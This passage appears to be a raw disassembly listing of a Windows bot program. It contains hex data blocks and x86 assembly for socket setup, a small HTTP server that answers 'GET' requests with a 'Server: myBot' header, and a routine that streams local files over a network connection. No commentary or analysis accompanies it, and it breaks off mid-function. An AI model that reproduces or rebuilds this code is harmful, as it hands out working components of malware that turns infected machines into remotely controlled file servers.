		dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h
		dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CC03Ch
		dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh
		dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 0F0E890B4h, 50023115h, 0C03C35FFh, 0E890004Ch
		dd 23115E3h, 0FDE89050h, 8D02310Fh, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h
		dd 0E8905700h, 22517B8h, 50E8458Dh, 0A1685757h,	8D0040EEh
		dd 5057F445h, 0FC2E890h, 45890227h, 0E8458DECh,	68575750h
		dd 40EE5Eh, 57F4458Dh, 0FAAE850h, 6A900227h, 0F04589FFh
		dd 0E8D875FFh, 228111Ch, 75FF5790h, 63E890F0h, 57022818h
		dd 90EC75FFh, 281859E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 0E8D875FFh, 2301E02h, 4035FF90h, 0FF004CC0h,	4435FFD6h
		dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AB2h, 0C050A359h
		dd 0C359004Ch
dword_40F0D8	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD7C+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 5E85053h, 830000CCh,	0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 0E82E853h
		dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h
		dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch,	400BBh
		dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h
		dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh
		dd 5959FFFFh, 0E02E856h, 6890022Dh, 0FFFEh, 9978E853h
		dd 0A3590000h, 4CC050h,	45896659h, 0EC458DEEh, 5750106Ah
		dd 933015FFh, 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h
		dd 3D2775E4h, 2740h, 8D562074h,	0FFFD4085h, 0E075FFFFh
		dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh,	83FFFFA6h
		dd 858D14C4h, 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h
		dd 0FFC458E8h, 565959FFh, 0D86E890h, 56A022Dh, 2C15FF57h
		dd 3B004C93h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA58DE8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4C931Ch, 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h
		dd 0E85053FFh, 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C627E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 5415FF08h
		dd 83004C93h, 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch
		dd 57FFFFFFh, 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h
		dd 6A59FFh, 2D0C87E8h
		db 2, 90h
word_40F37A	dw 8B55h		; DATA XREF: sub_40BD7C+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4E10E890h, 5356716Ah, 0E890026Ah
		dd 716A484Eh, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A214DE8h
		dd 40A16671h, 83004C90h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4C9304h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A9Ah
		dd 7DC08590h, 0E9C38B07h, 545h,	90570A6Ah, 6A6999E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 240AE890h, 0F883716Ah
		dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0C857E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 1716DE8h, 0FC08500h,	49F84h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 0E8F875FFh
		dd 716A919Dh, 0FFF88390h, 476840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h
		dd 6AFFFFFDh, 0E8575064h, 716A6130h, 7FC08590h,	0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 24BBE890h, 0B9E9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 43419Ch, 0D49DE850h,	858D0000h, 0FFFFFF50h, 43419468h
		dd 0F9E85000h, 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 417468FFh,	0E8500043h
		dd 0D1D4h, 59C08559h, 6A560A75h, 415C6814h, 61EB0043h
		dd 0FF50858Dh, 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h
		dd 560A7559h, 44680D6Ah, 0EB004341h, 50858D40h,	68FFFFFFh
		dd 43413Ch, 0D192E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434128h, 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h
		dd 590000D1h, 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h
		dd 0BF000002h, 4340FCh,	0FF50858Dh, 5057FFFFh, 0D14BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h
		dd 0D134h, 59C08559h, 6A560D75h, 40E46813h, 97E90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h
		dd 7559C085h, 136A560Dh, 4340CC68h, 260E900h, 858D0000h
		dd 0FFFFFF50h, 4340C468h, 0D9E85000h, 590000D0h, 7559C085h
		dd 0BE0A6A34h, 434098h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh
		dd 434090h, 0D08EE850h,	85590000h, 2A7559C0h, 78BE056Ah
		dd 59004340h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C1E8h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43407068h, 4DE85000h, 590000D0h,	0F59C085h
		dd 0B385h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 404868FFh, 0E8500043h, 0D2A7h, 0FF04858Dh, 0E850FFFFh
		dd 0C721h, 858DF88Bh, 0FFFFFD2Ch, 0C713E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C518h, 8DF475FFh
		dd 0FFFF0485h, 406857FFh, 50004340h, 0C7F9E8h, 44C48300h
		dd 0FF04858Dh, 106AFFFFh, 0FE85056h, 890000CDh,	458DF445h
		dd 458D50ECh, 458D50E4h, 458D50DCh, 458D50D4h, 403468B4h
		dd 0E8500043h, 0C7C6h, 5624C483h, 14681D6Ah, 0E9004340h
		dd 106h, 0FF50858Dh, 0C68FFFFh,	50004340h, 0CF7FE8h, 0C0855900h
		dd 0CC850F59h, 56000000h, 0E068286Ah, 0FF00433Fh, 0D3FF0875h
		dd 8DF475FFh, 0E850B445h, 108h,	1F88359h, 9E850F59h, 39000000h
		dd 0FFFBBCB5h, 562375FFh, 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h
		dd 38858D50h, 50FFFFFBh, 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh
		dd 4AE814C4h, 83000001h, 850F01F8h, 93h, 68176A56h, 433FC8h
		dd 0FF0875FFh, 0B4458DD3h, 20858D50h, 68FFFFF7h, 433F94h
		dd 0C71CE850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh, 858D5623h
		dd 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh
		dd 0FFFFF920h, 0FF9F4DE8h, 14C483FFh, 0F720858Dh, 0E850FFFFh
		dd 63CAh, 0BE1005FFh, 0EB59004Ch, 206A562Eh, 433F7068h
		dd 8D1FEB00h, 0FFFF5085h, 0CD2C68FFh, 0E8500042h, 0CE98h
		dd 59C08559h, 6A560D75h, 3F54681Bh, 75FF0043h, 6AD3FF08h
		dd 60858D64h, 56FFFFFDh, 0C3A6E850h, 7D8B0000h,	0CC48308h
		dd 0FC7D3B47h, 0F087D89h, 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh
		dd 5B5E5F58h, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CC05C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CC05C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA04
		push	dword_4CC05C
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA04:				; CODE XREF: ___:0040F9ECj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BC88
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAA0
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FA84
		push	edi
		mov	edi, 400h


loc_40FA4C:				; CODE XREF: ___:0040FA81j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BA60
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CC05C
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 2670EE1h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA4C
		pop	edi


loc_40FA84:				; CODE XREF: ___:0040FA44j
		push	esi
		call	sub_41B9DB
		pop	ecx
		push	dword_4CC05C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40FAA0:				; CODE XREF: ___:0040FA3Ej
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAA3	proc near		; DATA XREF: sub_401AC7+2216o
					; sub_40BD7C+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4C9304
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4C9384
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FE8E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43C24C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C9330
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		push	7FFFFFFFh
		push	edi
		call	dword_4C932C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4C93A0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE8E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FB7A:				; CODE XREF: sub_40FAA3+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4C92EC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE89
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBB0:				; CODE XREF: sub_40FAA3+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4C91F0
		test	eax, eax
		jz	loc_40FE74
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC32
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4C9398
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FE74
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC04
		lea	edx, [ebp+var_134]


loc_40FBF8:				; CODE XREF: sub_40FAA3+15Fj
		cmp	[edx], eax
		jz	short loc_40FC04
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FBF8


loc_40FC04:				; CODE XREF: sub_40FAA3+14Dj
					; sub_40FAA3+157j
		cmp	ecx, ebx
		jnz	short loc_40FC21
		cmp	ebx, 40h
		jnb	short loc_40FC21
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC21:				; CODE XREF: sub_40FAA3+163j
					; sub_40FAA3+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FE74
		mov	[ebp+var_8], eax
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FC32:				; CODE XREF: sub_40FAA3+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BD10
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4C931C
		test	eax, eax
		jg	short loc_40FCC5
		push	esi
		call	dword_4C939C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FE74
		lea	eax, [ebp+var_134]


loc_40FC84:				; CODE XREF: sub_40FAA3+1EBj
		cmp	[eax], esi
		jz	short loc_40FC95
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FC84
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: sub_40FAA3+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCB9
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCA3:				; CODE XREF: sub_40FAA3+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCA3


loc_40FCB9:				; CODE XREF: sub_40FAA3+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FCC5:				; CODE XREF: sub_40FAA3+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B960
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FE74


loc_40FCF3:				; CODE XREF: sub_40FAA3+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FD98
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD6C
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B960
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD6C
		mov	eax, offset asc_42CDCC ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C080
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C080
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C864
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C620
		add	esp, 10h
		jmp	short loc_40FD83
; ---------------------------------------------------------------------------


loc_40FD6C:				; CODE XREF: sub_40FAA3+27Fj
					; sub_40FAA3+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4341E4 ; "\r\n"
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDB7


loc_40FD83:				; CODE XREF: sub_40FAA3+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FD98:				; CODE XREF: sub_40FAA3+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B960
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FCF3
		jmp	loc_40FE74
; ---------------------------------------------------------------------------


loc_40FDB7:				; CODE XREF: sub_40FAA3+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE01
		lea	eax, [ebp+var_134]


loc_40FDC3:				; CODE XREF: sub_40FAA3+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FDD4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDC3
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FDD4:				; CODE XREF: sub_40FAA3+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FDF8
		lea	eax, [ebp+ecx*4+var_134]


loc_40FDE2:				; CODE XREF: sub_40FAA3+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FDE2


loc_40FDF8:				; CODE XREF: sub_40FAA3+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE04
; ---------------------------------------------------------------------------


loc_40FE01:				; CODE XREF: sub_40FAA3+318j
		mov	esi, [ebp+var_4]


loc_40FE04:				; CODE XREF: sub_40FAA3+32Fj
					; sub_40FAA3+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FE6D
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B960
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B960
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FE6D
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C93A0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_410080
		add	esp, 14h
		jmp	short loc_40FE74
; ---------------------------------------------------------------------------


loc_40FE6D:				; CODE XREF: sub_40FAA3+369j
					; sub_40FAA3+38Fj
		push	esi
		call	dword_4C939C


loc_40FE74:				; CODE XREF: sub_40FAA3+11Dj
					; sub_40FAA3+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBB0
		jmp	loc_40FB7A
; ---------------------------------------------------------------------------


loc_40FE89:				; CODE XREF: sub_40FAA3+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FE8E:				; CODE XREF: sub_40FAA3+6Aj
					; sub_40FAA3+92j ...
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4341BC
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FED4
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409862
		add	esp, 14h


loc_40FED4:				; CODE XREF: sub_40FAA3+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415CEE
		pop	ecx
		push	edi
		call	dword_4C939C
		push	[ebp+var_254]
		call	sub_40B6C9
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAA3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEFE	proc near		; DATA XREF: sub_410080+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C2A0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C006
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40FF63
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF68
; ---------------------------------------------------------------------------


loc_40FF63:				; CODE XREF: sub_40FEFE+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF68:				; CODE XREF: sub_40FEFE+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C006
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 273141Eh
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40FFE1
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C006
		add	esp, 24h
		jmp	short loc_410002
; ---------------------------------------------------------------------------


loc_40FFE1:				; CODE XREF: sub_40FEFE+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C006
		add	esp, 28h


loc_410002:				; CODE XREF: sub_40FEFE+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4C9354
		cmp	[ebp+var_A4], edi
		jnz	short loc_410042
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109B2
		pop	ecx
		pop	ecx
		jmp	short loc_41005F
; ---------------------------------------------------------------------------


loc_410042:				; CODE XREF: sub_40FEFE+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi


loc_41004A:				; DATA XREF: ___:00437DD0o
					; ___:00437DE4o
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_410330
		add	esp, 10h


loc_41005F:				; CODE XREF: sub_40FEFE+142j
		push	[ebp+var_44C]
		call	dword_4C939C
		push	[ebp+var_B4]
		call	sub_40B6C9
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_40FEFE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410080	proc near		; CODE XREF: sub_40FAA3+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
